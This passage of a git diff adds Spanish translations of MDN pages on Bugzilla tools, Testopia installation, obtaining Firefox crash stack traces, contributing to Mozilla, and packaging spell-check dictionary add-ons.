+ <li><a class="external" href="https://bugzilla.mozilla.org/page.cgi?id=quicksearch.html">Bugzilla QuickSearch help page</a>. QuickSearch is a quick, easy, and very effective way of quickly querying bugzilla.</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Bugzilla/Testopia" title="https://developer.mozilla.org/en-US/docs/Mozilla/Bugzilla/Testopia">Testopia</a> - test case management extension</li>
+ <li><a class="external" href="https://www.bugzilla.org">bugzilla.org</a> - the project site</li>
+ <li>{{ interwiki('wikipedia', 'Bugzilla', 'wikipedia:Bugzilla') }} - general description of Bugzilla (not specific to Mozilla projects)</li>
+ <li><a href="https://wiki.mozilla.org/BMO">BMO on wiki.mozilla.org</a> - information about Mozilla's customized Bugzilla installation, including how to contribute to it</li>
+</ul>
+
+<h2 class="Tools" id="Tools" name="Tools">Herramientas</h2>
+
+<ul>
+ <li><a href="https://fitzgen.github.io/bugzilla-todos/" title="https://harthur.github.io/bugzilla-todos/">Bugzilla Todos</a> lists review and flag requests, patches to check in, unfulfilled requests you made of other people, and assigned bugs.</li>
+ <li><a href="https://rawgit.com/leif81/bzkanban/master/index.html?product=Bugzilla&amp;milestone=Bugzilla+6.0&amp;assignee=&amp;comments=false&amp;site=https%3A%2F%2Fbugzilla.mozilla.org">Bz Kanban </a>is a board to visualize the status of bugs within a milestone.</li>
+</ul>
+</div>
+</div>
diff --git a/files/es/mozilla/bugzilla/testopia/index.html b/files/es/mozilla/bugzilla/testopia/index.html
new file mode 100644
index 0000000000..cfb6d65a22
--- /dev/null
+++ b/files/es/mozilla/bugzilla/testopia/index.html
@@ -0,0 +1,162 @@
+---
+title: Testopia
+slug: Mozilla/Bugzilla/Testopia
+translation_of: Mozilla/Bugzilla/Testopia
+---
+<p>Testopia es un administrador de casos de prueba, el cual maneja extensiones para interactuar con Bugzilla. Testopia está diseñado para ser una herramienta genérica para el seguimiento de casos de prueba, permitiendo a las organizaciones realizar las pruebas de software e integrar reportes de defectos encontrados, así como el resultado de los caso de prueba. Testopia está diseñado desde el punto de vista de la actividad de pruebas, este puede ser usado para llevar el seguimiento de pruebas, así como el seguimiento virtual de cualquier proceso de ingenieria.</p>
+
+<h2 id="Testopia_2.5">Testopia 2.5</h2>
+
+<p>Estas versiones soportan Bugzilla 4.2 y la mejor noticia es que no requerirá mas un patch para Bugzilla. Si estas actualizando, por favor revierte el parche de la versión existente antes de instalar. Una instalación nueva solo requiere que descomprimas el tarball en tu directorio raiz de Bugzilla y corras un checksetup. Gracias a LpSolit del equipo Bugzilla por su esfuerzo en hacer esto posible.</p>
+
+<h2 id="Testopia_2.4_-_Important_notice!">Testopia 2.4 - Important notice!</h2>
+
+<p>If you are upgrading on a case sensitive filesystem you must remove the existing testopia folder in the extensions directory. If you have made modifications to the testopia source code, you will need to merge them into the new Testopia folder (capital T). If you are on Windows or another case insensitive file system you should first rename the folder (testopia-old for example) and then unzip the tarball. You can then merge your changes before deleting the old version.</p>
+
+<p><strong>API USERS TAKE NOTE:</strong> Positional parameters are now deprecated. All params should now be sent in a hash (struct, dict, hashmap or whatever your language of choice calls key, value pairs). Though all attempts have been made to provide continuing support for positional parameters, please be aware that some API calls may fail until you make this change. Also, future versions may remove this support completely.</p>
+
+<p>As always please backup your installation before attempting to install or upgrade.</p>
+
+<h2 id="Integration_Points">Integration Points</h2>
+
+<ul>
+ <li>
+  <p style="margin-bottom: 0in;">Testopia integrates with Bugzilla products, components, versions, and milestones to allow a single management interface for high level objects.</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">Testopia allows users to login to one tool and uses Bugzilla group permissions to limit access to modifying test objects.</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">Testopia allows users to attach bugs to test case run results for centralized management of the software engineering process.</p>
+ </li>
+</ul>
+
+<h2 id="Features_for_version_2.4_(Bugzilla_3.6.x)" style="margin-top: 0in; margin-bottom: 0in;">Features for version 2.4 (Bugzilla 3.6.x)</h2>
+
+<ul>
+ <li>Bugzilla 3.6 support</li>
+</ul>
+
+<h2 id="Features_for_version_2.3_(Bugzilla_3.4.x)" style="margin-top: 0in; margin-bottom: 0in;">Features for version 2.3 (Bugzilla 3.4.x)</h2>
+
+<ul>
+ <li>Support XML export and import of test plans and children</li>
+ <li>Support CSV export of test cases and results.</li>
+ <li>New reports: worst offender and case roll-up</li>
+ <li>Set priorities on indidual case-runs</li>
+ <li>New clone options</li>
+ <li>Uses the latest Extjs 3.0 library</li>
+ <li>Converts Testopia into a true Bugzilla extension</li>
+ <li>Numerous bug fixes</li>
+</ul>
+
+<h2 id="Features_for_version_2.2_(Bugzilla_3.2_and_3.0.x)" style="margin-top: 0in; margin-bottom: 0in;">Features for version 2.2 (Bugzilla 3.2 and 3.0.x)</h2>
+
+<p>This release is primarily a bug fix release and to make Testopia compatable with Bugzilla 3.2 and Bugzilla 3.0.6. Please be sure to download the correct package based on your Bugzilla version.</p>
+
+<p>To install, do the following (see the <a href="http://wiki.mozilla.org/Testopia:README">README</a> for more detailed instructions):</p>
+
+<ol>
+ <li>Untar the Testopia 2.4 tarball inside your Bugzilla directory.</li>
+ <li>Patch the Bugzilla files.<br>
+  On Linux systems it should look something like:
+  <p style="border: 1px solid red; padding: 3px; width: 250px;"><code><strong>patch -p0 -i extensions/testopia/patch-3.6</strong></code></p>
+ </li>
+ <li>Run checksetup.pl</li>
+</ol>
+
+<p>To upgrade an existing Testopia installation you follow the same steps <strong>only you need to first REVERSE the old patch BEFORE untarring the files. If upgrading Bugzilla at the same time, this should be done before that as well.</strong>.</p>
+
+<p><code><strong>patch -p0 -R -i extensions/testopia/patch-&lt;version&gt;</strong></code></p>
+
+<p>Where &lt;version&gt; represents the version of the patch you have applied (Bugzilla version).</p>
+
+<h2 id="Requirements">Requirements</h2>
+
+<p>As our development has moved forward, we have decided to try to keep abreast of the latest stable release from Bugzilla (currently 3.4). This gives us a stable code base to work from. Developing plugins or extensions for any software is like trying to hit a moving target. This decision allows us to focus our time more on releasing new features often and early rather than back porting. However, this means that most major feature will not be back ported to earlier versions unless and until we have time to do so. Anyone wishing to help in this effort is more than welcome.</p>
+
+<ul>
+ <li>
+  <p style="margin-bottom: 0in;">Bugzilla 3.6.x</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">Mysql 5.0 or PostGres 8.1.x</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">Mozilla compatible browser ;-)</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">Additional Perl Modules: Text::CSV XML::Schema Validator XML::Schema::Parser (for importer) and JSON 2.10</p>
+ </li>
+</ul>
+
+<h2 id="TODO">TODO</h2>
+
+<ul>
+ <li>
+  <p style="margin-bottom: 0in;">User preferences</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">Notification emails</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">More Reports</p>
+ </li>
+</ul>
+
+<p>See the <a href="http://wiki.mozilla.org/Testopia:Roadmap">Roadmap</a> and <a href="https://bugzilla.mozilla.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;product=Testopia&amp;long_desc_type=substring&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=&amp;keywords_type=allwords&amp;keywords=&amp;bug_status=UNCONFIRMED&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;emailassigned_to1=1&amp;emailtype1=exact&amp;email1=&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailqa_contact2=1&amp;emailtype2=exact&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;votes=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;cmdtype=doit&amp;order=Reuse+same+sort+as+last+time&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=">Bug List</a> for more details.</p>
+
+<h2 id="Links">Links</h2>
+
+<ul>
+ <li>
+  <p style="margin-bottom: 0in;"><a href="http://wiki.mozilla.org/Testopia:FAQ">FAQ</a></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;"><a href="http://wiki.mozilla.org/Testopia">Wiki</a></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;"><a href="http://landfill.mozilla.org/testopia2/testopia/doc/Manual.pdf">Docs</a></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;"><a href="https://bugzilla.mozilla.org/buglist.cgi?query_format=advanced&amp;product=Testopia&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;bug_status=UNCONFIRMED">Bugs</a> (Please read the <a href="https://wiki.mozilla.org/Testopia:Bug_Reporting_Guide">Bug Reporting Guide)</a></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">Official Testopia <a href="http://testopia.blogspot.com/">Blog</a></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">IRC: <a href="irc://irc.mozilla.org/testopia">#testopia</a> or <a href="irc://irc.mozilla.org/mozwebtools">#mozwebtools </a></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">User Help <a href="mailto:support-webtools@lists.mozilla.org">support-webtools@lists.mozilla.org</a></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">Developers <a href="mailto:dev-apps-webtools@lists.mozilla.org">dev-apps-webtools@lists.mozilla.org</a></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;"><a href="http://landfill.mozilla.org/testopia2/">Testopia on landfill (2.2 on Bugzilla 3.0.6)</a></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;"><a href="http://landfill.mozilla.org/testopia/">Testopia on landfill (2.2 on Bugzilla 3.2)</a></p>
+ </li>
+</ul>
+
+<h2 id="Downloads">Downloads</h2>
+
+<ul>
+ <li>
+  <p style="margin-bottom: 0in;"><a href="ftp://ftp.mozilla.org/pub/mozilla.org/webtools/testopia/testopia-2.5-BUGZILLA-4.2.tar.gz">Download 2.5 (Bugzilla 4.2)</a></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;"><a href="ftp://ftp.mozilla.org/pub/mozilla.org/webtools/testopia/testopia-2.4-BUGZILLA-3.6.tar.gz">Download 2.4 (Bugzilla 3.6 and 4.0)</a></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;"><a href="ftp://ftp.mozilla.org/pub/mozilla.org/webtools/testopia/">Archived Versions</a></p>
+ </li>
+</ul>
+
+<h2 id="Developers">Developers</h2>
+
+<p>Greg Hendricks<br>
+ Vance Baarda (former developer)<br>
+ Ed Fuentetaja (former developer)</p>
diff --git a/files/es/mozilla/como_obtener_un_seguimiento_de_pila_para_un_informe_de_error/index.html b/files/es/mozilla/como_obtener_un_seguimiento_de_pila_para_un_informe_de_error/index.html
new file mode 100644
index 0000000000..00716daf42
--- /dev/null
+++ b/files/es/mozilla/como_obtener_un_seguimiento_de_pila_para_un_informe_de_error/index.html
@@ -0,0 +1,97 @@
+---
+title: Cómo obtener un seguimiento de pila para un informe de bug
+slug: Mozilla/como_obtener_un_seguimiento_de_pila_para_un_informe_de_error
+translation_of: Mozilla/How_to_get_a_stacktrace_for_a_bug_report
+---
+<p>Si presenta un informe de bug en Bugzilla sobre un <strong>bloqueo</strong>, debe incluir un seguimiento de pila (pila de llamadas) en su informe. Un seguimiento de pila le dirá a los desarrolladores de Mozilla qué falló y proporcionará un punto de partida para investigar su causa. Este artículo describe cómo usar Mozilla Crash Reporter (Breakpad) para obtener una ID de bloqueo, que nuestros ingenieros pueden usar para obtener un stacktrace, y formas alternativas de obtener un stacktrace si no puede obtener una ID de crash.</p>
+
+<h2 id="Requirements">Requirements</h2>
+
+<p>You need a binary build of Firefox from <a class="external external-icon" href="https://www.mozilla.org/en-US/firefox/">Mozilla.org</a>. SeaMonkey and Thunderbird also support crash reporting.</p>
+
+<p>Mozilla's crash report server currently only has debug information for Mozilla builds and thus the crash reporter cannot work if you use a build from a Linux distribution or if you compile from source code. In these cases you will need to use one of the <a href="#Alternative_ways_to_get_a_stacktrace">alternative methods</a> listed below.</p>
+
+<div class="note"><strong>Note: </strong>When filing a crash report, it is important to know whether the crash occurs with <a class="external" href="http://support.mozilla.com/en-US/kb/Safe+Mode" title="http://support.mozilla.com/en-US/kb/Safe+Mode">Firefox safe mode</a>. This helps engineers determine whether a particular <a class="external" href="http://support.mozilla.com/en-US/kb/Troubleshooting+extensions+and+themes" title="http://support.mozilla.com/en-US/kb/Troubleshooting+extensions+and+themes">extension</a> or <a class="external" href="http://support.mozilla.com/en-US/kb/Troubleshooting+plugins" title="http://support.mozilla.com/en-US/kb/Troubleshooting+plugins">plugin</a> is the cause of the crash.</div>
+
+<h2 id="How_to_get_a_crash_ID_with_the_Mozilla_Crash_Reporter">How to get a crash ID with the Mozilla Crash Reporter</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <td>
+    <p><strong>1. Crash and submit a report to the system.</strong></p>
+
+    <p>The Mozilla Crash Reporter window should automatically come up after Firefox crashes. If you have any additional information about the crash, such as additional detail on what you were doing at the time that may have triggered the crash, please enter it into the comments box. Be sure that you <strong>check the "Tell Mozilla about this crash"</strong><strong> checkbox</strong> and click the restart button. The crash reporter should now submit the crash report and Firefox should open again.</p>
+
+    <div class="note">The "Details" button gives additional data about the incident, however this is not useful in a bug report.</div>
+   </td>
+   <td>
+    <p style="text-align: center;"><img alt="reporter.jpg" class="internal lwrap" src="../../../../@api/deki/files/2854/=reporter.jpg?size=webview" style="float: left; height: 307px; width: 300px;"></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<table>
+ <tbody>
+  <tr>
+   <td>
+    <p><strong>2. Tell us the ID of the report you submitted.</strong></p>
+
+    <p>To access all of your submitted reports<strong> type "about:crashes" into the Firefox address bar</strong> and press enter. Firefox should open a list of IDs for your submitted crash reports. Copy two or three of the IDs for the appropriate crashes and paste them into your Bugzilla report. Please check the listed times to avoid copying the ID of an unrelated crash report.</p>
+
+    <div class="note">You can prefix a "bp-" to the beginning of an ID to make Bugzilla turn it into a link: <strong>bp-</strong>a70759c6-1295-4160-aa30-bc4772090918</div>
+   </td>
+   <td>
+    <p style="text-align: center;"><img alt="crashlist.jpg" class="internal lwrap" src="../../../../@api/deki/files/2855/=crashlist.jpg?size=webview" style="float: left; height: 403px; width: 450px;"></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="How_to_get_the_crash_ID_if_Firefox_crashes_on_startup">How to get the crash ID if Firefox crashes on startup</h3>
+
+<p>If Firefox crashes on startup you can still access your submitted crash reports. Crash reports are accessible from all Firefox profiles, so if a <a class="external external-icon" href="https://support.mozilla.org/en-US/kb/profile-manager-create-remove-switch-firefox-profiles">new profile</a> does not crash you can use it to access them through "about:crashes" <a class="external" href="/en-US/docs/Mozilla/How_to_get_a_stacktrace_for_a_bug_report#How_to_get_a_crash_ID_with_the_Mozilla_Crash_Reporter" title="https://developer.mozilla.org/En/How_to_get_a_stacktrace_for_a_bug_report#How_to_get_a_crash_ID_with_the_Mozilla_Crash_Reporter">as above</a>.</p>
+
+<h4 id="Accessing_crash_report_IDs_outside_of_Firefox">Accessing crash report IDs outside of Firefox</h4>
+
+<p>If you cannot load Firefox at all you can find the crash report files at this location depending on your operating system:</p>
+
+<p>Windows : <span class="filename">%APPDATA%\Mozilla\Firefox\Crash Reports\submitted\</span><br>
+ OS X : <span class="filename">~/Library/Application Support/Firefox/Crash Reports/submitted/</span><br>
+ Linux : <span class="filename">~/.mozilla/firefox/Crash Reports/submitted/</span></p>
+
+<p>Each file in this folder contains one submitted crash report ID. You can check the modified or creation time for each file to discern which crash reports are relevant to your bug report.</p>
+
+<h2 id="Alternative_ways_to_get_a_stacktrace">Alternative ways to get a stacktrace</h2>
+
+<p>If the Mozilla crash reporter doesn't come up or isn't available you will need to obtain a stacktrace manually:</p>
+
+<h4 id="Windows">Windows</h4>
+
+<p>See the article <a class="internal" href="/en-US/docs/Mozilla/How_to_get_a_stacktrace_with_WinDbg" title="En/How to get a stacktrace with WinDbg">Create a stacktrace with Windbg</a> for information on how to do this.</p>
+
+<p>For a full process dump, see <a href="/en-US/docs/How_to_get_a_process_dump_with_Windows_Task_Manage">How to get a process dump with Windows Task Manager [en-US]</a></p>
+
+<h4 id="OS_X">OS X</h4>
+
+<p>Run /Applications/Utilities/Console.app.  Expand "~/Library/Logs" and "CrashReporter", then look for logs for "firefox-bin".</p>
+
+<h4 id="Linux">Linux</h4>
+
+<p>Note that for most distros, the package you need to get symbols for will be something like "xulrunner", not "firefox".</p>
+
+<h2 id="Where_did_my_crash_get_submitted.3F" name="Where_did_my_crash_get_submitted.3F">Crash reports files on your computer</h2>
+
+<p>When Breakpad initially catches a crash it first writes crash report files (e.g. .dump and .extra files) into the 'pending' subdirectory of its 'Crash Reports' directory.</p>
+
+<p>If Breakpad successfully sends the crash report to the reporting server then, by default, the files added to the 'pending' subdirectory for the crash are removed, and a .txt file is placed in the 'submitted' directory containing the crash ID created by the reporting server.</p>
+
+<p>If you want Breakpad to leave the .dump and .extra files on your computer so that you can examine them locally, then set the MOZ_CRASHREPORTER_NO_DELETE_DUMP environment variable to 1.</p>
+
+<ul>
+ <li>Ubuntu:  <a class="external external-icon" href="https://wiki.ubuntu.com/MozillaTeam/Bugs#Obtain%20a%20backtrace%20from%20an%20apport%20crash%20report%20(using%20gdb)">Instructions from the Ubuntu Team</a></li>
+ <li>openSUSE:  <a class="external external-icon" href="https://en.opensuse.org/openSUSE:Bugreport_application_crashed">General instructions from openSUSE</a></li>
+ <li>Fedora: <a class="external external-icon" href="https://fedoraproject.org/wiki/StackTraces">Capturing Stack Traces</a></li>
+ <li>Gentoo: <a class="external external-icon" href="https://wiki.gentoo.org/wiki/Debugging_with_GDB">Debugging using GDB</a></li>
+</ul>
diff --git a/files/es/mozilla/connect/index.html b/files/es/mozilla/connect/index.html
new file mode 100644
index 0000000000..b7151db9a6
--- /dev/null
+++ b/files/es/mozilla/connect/index.html
@@ -0,0 +1,143 @@
+---
+title: Conectate con Mozilla
+slug: Mozilla/Connect
+tags:
+  - Español
+  - Mozilla
+translation_of: Mozilla/Connect
+---
+<div class="summary">
+<p>Se parte de la aventura <strong>Mozilla Developer Network, </strong>Inspirate en colaborar y formar parte del equipo de contribuidores.</p>
+
+<p>¡Tú también puedes!.</p>
+</div>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
+
+<div>
+<div class="column-container dev-program-callouts dev-program-block dev-program-first dev-program-column-wrapper">
+<div class="dev-program-callout">
+<div class="callout-link-container">
+<h2 id="Mi_Block">Mi Block</h2>
+
+<p>Un recurso clave para desarrolladores de la web libre, el blog de Mozilla Hack ofrece noticias y análisis de lo más reciente en tecnologías web y funciones del navegador.</p>
+
+<div class="callout-link-wrapper"><a class="callout-link ignore-external" href="https://hacks.mozilla.org/" style="white-space: normal;">Leer  ahora </a></div>
+</div>
+</div>
+
+<div class="dev-program-callout">
+<div class="callout-link-container">
+<h2 id="Canales_de_Retro-Alimentacion">Canales de Retro-Alimentacion</h2>
+
+<p>¿Tienes una idea para el desarrollo de herramientas? ¡Haznoslo saber y ayuda a darle forma a las futuras características!</p>
+
+<p>¿Desarrollas algo y nececitas ayuda? preguntanos a distancia.<br>
+ <span class="smaller"><strong>{{anch("Developer discussions", "Busca abajo en Q&amp;A")}}</strong></span></p>
+
+<div class="callout-link-wrapper"><a class="callout-link ignore-external" href="http://stackoverflow.com/r/mozilla" style="white-space: normal;">Mozilla Q&amp;A en Stack Overflow </a></div>
+</div>
+</div>
+
+<div class="dev-program-callout">
+<div class="callout-link-container">
+<h2 id="Unete_a_MDN">Unete a MDN</h2>
+
+<p>¡Registrate en MDN! Podrás editar la documentación, crear un perfíl para mostrar tu trabajo y obtener acceso a las diferentes caracteristicas segun los roles que desempeñes con el tiempo.</p>
+
+<div class="callout-link-wrapper"><a class="callout-link" href="/profile/edit" style="white-space: normal;">Unete o inicia sesión</a></div>
+</div>
+</div>
+</div>
+
+<div class="dev-program-explanation dev-program-block">
+<h2 id="Conectarte_con_Mozilla">Conectarte con Mozilla</h2>
+
+<p>Los desarrolladores están creando el futuro mediante la creación de aplicaciones para todas las personas alrededor del mundo. El objetivo de Mozilla Developer Relations es ayudar a los desarrolladores a utilizar tecnologías web estandarizadas para tener éxito en el logro de sus objetivos. Además de la documentación disponible en MDN, ofrecemos ayuda y otros recursos para este objetivo, a través de diversos canales. Te invitamos a conectarte, aprender y compartir tu conocimiento.</p>
+
+<p>Ofrecemos ayuda através de <a href="http://stackoverflow.com/r/mozilla">Q&amp;A en Stack Overflow</a>, para solucionar cuestiones técnicas específicas y desafios que pueda tener. Tambien tenemos un boletín para mantenerte informado sobre los últimos acontecimientos en la escena web, entorno a aplicaciones web y mucho más. <a href="https://marketplace.firefox.com/developers/#newsletter-signup">Suscríbete al boletín de noticias de apps y hacks</a></p>
+
+<p>Si compartes la <a href="https://www.mozilla.org/en-US/mission/">misión</a> y <a href="https://www.mozilla.org/en-US/about/manifesto/">principios</a> de Mozilla y quieres ayudar a progresar a otros desarrolladores, da un vistazo a las maneras en que puedes <a href="https://wiki.mozilla.org/Engagement/Developer_Engagement/Technical_Evangelism/Get_Involved">involucrarte en la evangelización técnica</a> y únete a nuestro <a href="https://lists.mozilla.org/listinfo/evangelism">grupo de discusión de evangelización</a>.</p>
+
+<p>Tenemos muchos planes e ideas para expandir de forma iterativa nuestra oferta de relaciones de desarrolladores y ¡queremos que estés involucrado en como lo hacemos! así que , ¡<a href="http://stackoverflow.com/r/mozilla">sigue las etiquetas de  Stack Overflow</a>, <a href="https://hacks.mozilla.org/">suscribete al Blog Hack</a>, <a href="https://marketplace.firefox.com/developers/#newsletter-signup">suscribete al boletin </a>y <a href="/profile/edit">registrate para obtener una cuenta</a>!</p>
+
+<h2 id="Únete_a_Mozilla" style="line-height: 30px;"><strong>Únete a Mozilla</strong></h2>
+
+<p>Si quieres ir más allá de la conexión con Mozilla, puedes unirte a Mozilla y ayudar a hacer realidad su misión de construir una mejor internet. Como desarrollador, tienes habilidades para contribuir en muchas áreas, así como la posibiliad de mejorar tus habilidades. Mozilla es un proyecto de código abierto, como es "abierto por defecto" puede "ver el código fuente" y contribuir en el desarrollo de proyectos de software, como el navegador Firefox para escritorio y Android, Firefox OS, y sitios web de Mozilla. Puedes convertirte en parte de la comunidad internacional y obtener reconocimiento por tus esfuerzos. Estas son algunas de las ventajas de contribuir al proyecto Mozilla.</p>
+
+<h3 id="Oportunidad_de_aprender_algo_nuevo."><strong>Oportunidad de aprender algo nuevo.</strong></h3>
+
+<div>
+<p>Al escribir código para un proyecto de código abierto, podrás enfrentarte a problemas que antes no has encontrado, que presentan oportunidades de aprendizaje para ti. Puedes probar nuevas herramientas y técnicas en un proyecto de código abierto. Si por ejemplo, nunca has hecho pruebas unitarias, y tras codificar no logras obtener el permiso para hacerlo en el trabajo, un proyecto de código abierto sería un excelente lugar para aprender. Contribuir al código abierto le da la oportunidad de conocer y colaborar con muchas personas alrededor del mundo que tiene intereses similiares. Por otra parte, una organización de código abierto como Mozilla tiene muchos colaboradores que le podrán ayudar a solucionar los problemas que encuentre. Si solo acabas de empezar a contribuir, puedes buscar "mentoria de errores", donde un colaborador con mayor experiencia se ha ofrecido a ayudar a los recién llegados a solucionarlos.</p>
+
+<h3 id="¿Qué_puedo_obtener_contribuyendo"><strong>¿Qué puedo obtener contribuyendo? </strong></h3>
+
+<p>Explora muchas cosas y obten reconocimiento de la comunidad-- Estos son los beneficios intangibles de contribuir a Mozilla. Si bien no podemos garantizar beneficios tangibles específicos, muchos valiosos colaboradores reciben gratis articulos Mozilla e invitaciones a eventos relacionados, y estan de primeros en las lista para pasantias. por otra parte, tu experiencia en la contribución a un proyecto de código abierto podria ayudarte a obtener un trabajo. Cada vez son mas los empleadores que están buscando contribuyentes de codigo abierto. A ellos les gusta ver que usted está en blogs y contribuyendo en listas de correo, y les gusta ver que usted ayudó en el desarrollo de un proyecto de código abierto. También te puede ayudar en la sección de experiencia laboral para tu CV.</p>
+
+<h3 id="¿Cómo_puedes_contribuir_a_Mozilla"><strong>¿Cómo puedes contribuir a Mozilla?</strong></h3>
+
+<p>Hay muchas áreas del proyecto donde puedes contribuir a Mozilla. Puedes encontrar un camino, el listado completo está en la página de <a href="https://www.mozilla.org/contribute">involúcrate</a>. Algunas de las áreas que te pueden interesar como desarrollador incluyen:</p>
+
+<ul>
+ <li><a href="http://www.whatcanidoformozilla.org/">Programación</a></li>
+ <li><a href="http://www.whatcanidoformozilla.org/">Desarrollo Web</a></li>
+ <li><a href="/en-US/Firefox_OS/Developing_Gaia">Firefox OS</a></li>
+ <li><a href="https://quality.mozilla.org/teams/">Preguntas y respuestas Q&amp;A </a></li>
+ <li><a href="https://wiki.mozilla.org/Marketplace/Contributing/Addons">Complementos</a></li>
+ <li><a href="https://wiki.mozilla.org/Marketplace/Contributing/Apps">Apps</a></li>
+ <li><a href="/en-US/docs/MDN/Getting_started">Desarrollo de documentacion (aqui en MDN)</a></li>
+</ul>
+</div>
+</div>
+
+<div class="column-container dev-program-block">
+<div class="column-half" id="Developer_discussions">
+<h2 id="QA_en_Stack_Overflow_Veer_todo_QA">Q&amp;A en Stack Overflow <a class="heading-link" href="http://stackoverflow.com/r/mozilla">Veer todo Q&amp;A</a></h2>
+
+<p>Tenemos Q&amp;A para discutir los asuntos del desarrollo, en particular en Firefox OS y la  Web libre en movil. Está disponible en Stack Overflow de forma fácil en la URL de abajo.</p>
+
+<p><a href="http://stackoverflow.com/r/mozilla">http://stackoverflow.com/r/mozilla</a>.</p>
+
+<div class="stack-form">Stack form</div>
+
+<h3 id="Últimos_temas_de_QA">Últimos temas de Q&amp;A</h3>
+</div>
+
+<div class="column-half dev-program-hacks dev-program-block"> </div>
+</div>
+
+<p class="dev-program-block"><img alt="Developers at a Firefox OS workshop in Madrid." src="https://mdn.mozillademos.org/files/7479/PhonesUp.jpg" style="display: block; height: 359px; margin: 0px auto; max-width: 100%; width: 720px;"></p>
+
+<div class="column-container dev-program-block">
+<div class="column-7 dev-program-events">
+<h2 id="¿Dónde_está_Mozilla_Mira_los_asistentes_y_detalles_en_nuestra_pagina_de_eventos...">¿Dónde está Mozilla? <a class="heading-link" href="https://developer.mozilla.org/en/events">Mira los asistentes  y detalles en nuestra pagina de eventos... </a></h2>
+
+<p>Aqui hay un listado de los eventos donde los representantes de Mozilla hablarán. ¡Asegurate de hablar con ellos!</p>
+</div>
+
+<div class="column-5">
+<h2 id="Otros_recursos">Otros recursos</h2>
+
+<ul class="no-bullets">
+ <li><a href="http://www.youtube.com/user/mozhacks">Mozilla Hacks en YouTube</a>
+
+  <ul>
+   <li><a href="http://www.youtube.com/playlist?list=PLo3w8EB99pqIHIUUv08hBCHq1OgPKhdo0">videos Firefox OS </a></li>
+   <li><a href="http://www.youtube.com/playlist?list=PLo3w8EB99pqLZNY22xKbTEzMfYo9PXAlm">videos deherramientas de desarrollo Firefox</a></li>
+  </ul>
+ </li>
+ <li><a href="https://twitter.com/mozhacks">@mozhacks en Twitter</a></li>
+</ul>
+</div>
+</div>
+</div>
+
+<p> </p>
diff --git a/files/es/mozilla/creando_un_complemento_de_diccionario_de_ortografia/index.html b/files/es/mozilla/creando_un_complemento_de_diccionario_de_ortografia/index.html
new file mode 100644
index 0000000000..1dbd2ca898
--- /dev/null
+++ b/files/es/mozilla/creando_un_complemento_de_diccionario_de_ortografia/index.html
@@ -0,0 +1,92 @@
+---
+title: Creando un complemento de diccionario de ortografía
+slug: Mozilla/creando_un_complemento_de_diccionario_de_ortografia
+translation_of: Mozilla/Creating_a_spell_check_dictionary_add-on
+---
+<p>Esta página describe cómo empaquetar un diccionario de ortografía Hunspell como complemento para Firefox, o cómo actualizar tu complemento existente para que pueda ser instalado, desinstalado y actualizado sin necesidad de reiniciar.</p>
+
+<h2 id="Partes_necesarias">Partes necesarias</h2>
+
+<p>Para crear un complemento de diccionario, primero necesitas dos cosas:</p>
+
+<ul>
+ <li>Un diccionario de ortografía en formato Hunspell o Myspell, con una licencia que te permita hacer uso de él. Este diccionario consiste en dos archivos, uno con una extensión de archivo <code>.dic</code> y otro con un <code>.aff</code>.</li>
+ <li>Un código de localización para describir el idioma del diccionario. Por ejemplo, <code>en-US</code>, <code>de-DE</code> o <code>da</code>. Es importante elegir el código de localización correcto, o sino el revisor de ortografía no podrá comparar adecuadamente el idioma del diccionario con el del sitio web para seleccionar el diccionario correcto a utilizar.</li>
+</ul>
+
+<p>Si estás creando un nuevo diccionario, a diferencia de actualizar uno existente, por favor asegúrate de que no haya un <a href="https://addons.mozilla.org/en-US/firefox/language-tools/" title="https://addons.mozilla.org/en-US/firefox/language-tools/">diccionario disponible</a> para tu localización. Si es que ya hay uno, intenta contactar al autor para actualizarlo, o contacta a los <a href="https://wiki.mozilla.org/AMO:Editors" title="https://wiki.mozilla.org/AMO:Editors">editores de AMO</a> si es que el autor no responde.</p>
+
+<h2 id="Empaquetamiento">Empaquetamiento</h2>
+
+<p>Un complemento de Firefox es un archivo ZIP renombrado para usar una extensión de archivo <code>.xpi</code> en lugar de la extensión de archivo <code>.zip</code> normal. Para crear un complemento de diccionario, simplemente crea un archivo ZIP que contenga los siguientes archivos y carpetas:</p>
+
+<p><code>my-dictionary.xpi</code></p>
+
+<ul>
+ <li><code>install.rdf</code></li>
+ <li><code>dictionaries/</code>
+  <ul>
+   <li><em>código-de-localización</em><code>.dic</code></li>
+   <li><em>código-de-localización</em><code>.aff</code></li>
+  </ul>
+ </li>
+</ul>
+
